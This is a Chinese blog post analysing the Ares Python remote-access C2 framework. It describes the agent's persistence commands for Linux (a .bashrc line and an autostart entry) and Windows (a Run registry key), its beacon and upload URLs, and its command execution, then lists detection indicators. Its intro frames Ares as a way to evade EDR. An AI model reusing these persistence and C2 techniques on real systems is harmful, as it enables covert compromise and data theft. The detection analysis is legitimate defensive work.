强对抗时代下的C2:战神Ares

技术

介绍

理解和检测 C2 框架-Ares,Ares在古希腊语中有战神的意思,随着cobaltstrike进入强对抗时代,我们不得不找一些新的C2以避开一众edr和杀软的检测。

ARES

这是ARES的在GitHub中的定义

Ares是一个Python撰写的远程访问控制工具。Ares由两个主要程序组成:

命令与控制服务器,它是用于管理agent的 Web 界面

agent程序,在受感染的主机上运行,并确保与CNC的通信
实际上,文件夹结构看起来像这样

picture.image

“Ares”文件夹结构

让我们通过分析 C2 agent开始我们的旅程

“agent.py”

agent位于文件“agent.py”中。它由一个名为“agent”的大类组成,其中包含所有功能。此类将从一个名为“main”的函数调用,该函数又将执行负责运行agent的“run”函数。

picture.image

在此函数中,我们遇到了此agent的第一个功能,即权限维持。

picture.image

权限维持

根据从配置文件“config.py”读取的布尔值,我们调用权限维持函数。

picture.image

“权限维持”功能

仅当编译agent时,该函数才会执行。这是通过检查“sys ”包中的***“freezing”*** 属性值来验证的。它还通过调用**_“is_installed”_** 函数来验证agent是否已安装在计算机上,该函数是名为**_“get_install_dir”_** 的函数包装器

picture.image

“is_installed”功能

“get_install_dir”检查操作系统,并取决于其“Linux”还是“Windows”。它将检查运行agent的“用户”的主目录,并查找名为**“ares”** 的文件夹

  • Linux :“~/.ares”
  • Windows :“%USERPROFILE%/ares”

如果计算机上未安装agent,则将执行以下命令,具体取决于平台

Linux目录

  • 在用户的主目录中创建目录“.ares”:~/.ares
  • 将可执行文件复制到以下上述目录:_~/.ares/[name_of_executable]_
  • 执行 : _chmod +x ~/.ares/[name_of_executable]_
  • 如果存在“/.config/autostart/”,那么它将创建包含以下内容的文件***“/.config/autostart/ares.desktop”***

        
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
    
  • 如果上述目录不存在,则以下内容将附加到***“~/.bashrc”***

        
(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + ~/.ares/[name_of_executable] + ";fi&)
    

Windows

  • 在用户配置文件目录中创建目录 “ares” :%USERPROFILE%/ares
  • 将可执行文件复制到以下上述目录:_%USERPROFILE%/ares/[name_of_executable]_
  • 使用以下命令在“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”注册表项中创建值“ares”

        
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % [agent_path]
    

至此,agent的安装完成,它将循环侦听来自 C2 的命令。

picture.image

“主”循环

它首先执行一个名为“server_hello”的函数,该函数将对以下 URL 执行简单的 post 请求并等待指令。


        
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello
    

该请求将向 C2 发送以下信息:

  • 平台
  • 主机名
  • 用户名

picture.image

“server_hello”功能

请注意 ,由于没有指定“用户agent”,因此将使用“请求”库的默认用户agent。(见下文)


        
User-Agent: python-requests/[Version]
    

此请求的结果将存储在变量“todo”中,该变量将包含 C2 服务器发送的任何命令。

在检查从服务器返回的值之前,将调用函数**_“update_consecutive_failed_connections”。_** 此函数用于记录主循环中“失败”连接或异常的数量。

picture.image

如果安装了“agent” ,则会在Windows系统上的***“%USERPROFILE%*** /ares”文件夹中和Linux系统上的***“~/.ares*** ”文件夹中创建一个名为**“failed_connections”** 的文件。

将要执行的下一组函数将取决于 C2 服务器将发送的命令。大多数函数都包含一些独特的工件,可以帮助我们检测正在使用的行为或功能。

在我们进入支持的命令之前需要注意的一件事。是不是几乎所有命令都使用一个名为**_“send_output”_** 的函数.

picture.image

“send_output”功能

此函数的作用是使用此 URL 通过 post 请求将任何数据发送回 C2 服务器


        
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report
    

以下是agent支持的命令。

CD

此命令只是将当前目录更改为从 C2 发送的任何目录

picture.image

“cd”命令

upload

agent可以将任何文件上载到 C2 服务器。有问题的文件将通过发布请求发送到以下 URL:


        
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload
    

picture.image

“上传”命令

download

此命令充当下载agent。C2 服务器将发送要下载的远程文件的位置,并指定存储该文件的位置。

picture.image

“下载”功能

agent将首先通过“send_output”功能向 C2 发送输出,指示下载开始。然后,将对从 C2 提供的任何 URL 发出“get”请求。

这可以通过查找以下两个与“python-requests/[版本]” 的***“用户agent”*** 背靠背发出的请求来识别 .


        
POST http(s)://[SERVER_IP]/api/USERNAME_[UUID]/reportGET http(s)://[REMOTE_URL]
    

clean

“clean”命令会清除“持久”命令/函数所做的一切事情。

picture.image

“Clean”功能

根据平台的不同,将执行以下命令

Linux目录

  • 删除***“~/.ares”*** 目录下的所有内容
  • 删除***“~/.config/autostart/ares.desktop”***
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

windows

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • _reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \“cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””_

persist

如果未在配置文件中启用持久性。C2 的操作员可以发送 “persist” 命令来启动持久化过程

exit

此命令将简单地杀死agent进程并退出

.zip

“agent”提供了压缩任何文件或文件夹并将其保存在任何位置的可能性。

picture.image

“压缩”功能

新创建的zip文件可以位于任何地方,但是关于检测的最重要的事情是它不会自动删除。除非服务器中的***“rm*** ”或***“del”*** 明确表示。因此,根据C2的操作员,仍然可以在受感染的计算机上找到创建的任何zip文件。

python

它允许操作员使用“exec”函数执行任意python文件/命令。

picture.image

“python”函数

截图

创建一个屏幕截图并将其保存在用户的临时目录下(Windows上的“%temp%”和Linux上的“/tmp”)。然后使用上述“上传”功能上传结果。

请注意 ,agent不会删除有问题的屏幕截图,因此您可以在临时目录中查找任何“.png”文件。

picture.image

“截图”功能

help

这将简单地打印一个帮助菜单,显示支持的操作/命令

picture.image

“帮助”功能

runcmd

agent提供的最后一个命令是任意命令执行。“runcmd ”函数将使用python“子进程” 包执行从C2发送的任何命令。

picture.image

“runcmd”函数

需要注意的一点是,agent具有可以从 CONFIG 文件配置的“空闲”模式。

对agent提供的所有功能的分析到此结束。现在让我们快速浏览一下代码的服务器部分。

“ares.py”

picture.image

C2 接口

此框架的服务器端部分很简单。它写在烧瓶中,并有一个本地数据库来存储有关命令、连接的agent的信息......等。

默认情况下,C2 服务器的服务器标头硬编码为字符串“Ares”。因此,从服务器发送的每个响应都将包含服务器标头***“Ares”*** .

picture.image

响应 C2

此外,使用agent的“upload”命令上传到C2服务器的文件将默认存储在目录“uploads”中,并且可以直接从服务器访问它们,而无需任何身份验证。


        
http(s)://[C2_IP]/uploads/[agent_id]/[filename]
    

除此之外,代码只是处理从agent发送的请求。

结论

其实很多功能跟cs功能相似,但没有cs的功能多,但我们用新的c2不久为了能上线吗,所以勉强能用

指标

用户agent

  • User-Agent:python-requests/2.18.4

URL 和网络控件

  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/upload
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/report
  • http(s)://[SERVER_IP]/api/USERNAME_[UUID]/hello
  • http(s)://[C2_IP]/uploads/[agent_id]/[文件名]
  • 响应标头:“server:ares”

遥测

  • 文件夹创建/删除
  • 文件创建

命令 (Linux)

  • chmod +x ~/.ares/[name_of_executable]
  • grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc

命令 (Windows)

  • reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \“cmd.exe /c del /s /q [persistence_directory] & rmdir [persistence_directory]\””
  • reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \“%s\”“ % [agent_path]

Disk Artifacts

  • /tmp/[random_name].png
  • %temp%/[random_name].png
  • 由 ZIP 命令创建的 zip 文件。创建日期可以与创建 zip 文件的 HTTP 请求相关联
  • 使用下载命令下载到agent的文件。创建日期可以与下载文件的 HTTP 请求相关联
  • 位于“ares”文件夹内的文件:failed_connections
  • 创建文件夹 (Linux) :“~/.ares”
  • 创建文件夹 (Windows):“%USERPROFILE%/ares”
  • 写入 “.bashrc” :(if [ $(ps aux|grep “ + os.path.basename(sys.executable) + ”|wc -l) -lt 2 ];则 “ + ~/.ares/[name_of_executable] + ”;fi&)
  • 写入 “~/.config/autostart/ares.desktop”

        
[Desktop Entry]Version=1.0Type=ApplicationName=AresExec=~/.ares/[name_of_executable]
    

原文章:https://nasbench.medium.com/understanding-detecting-c2-frameworks-ares-8c96aa47e50d

MITRE ATT&CK

  • T1041 — Exfiltration Over C2 Channel

  • T1059.004 — Command and Scripting Interpreter: Unix Shell

  • T1071.001 — Application Layer Protocol: Web Protocols

来源:先知

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ **再看

”**

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
边缘云游戏行业解决方案
《“加速”游戏体验升级,火山引擎边缘云游戏行业解决方案》 许思安 | 火山引擎边缘云高级总监
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论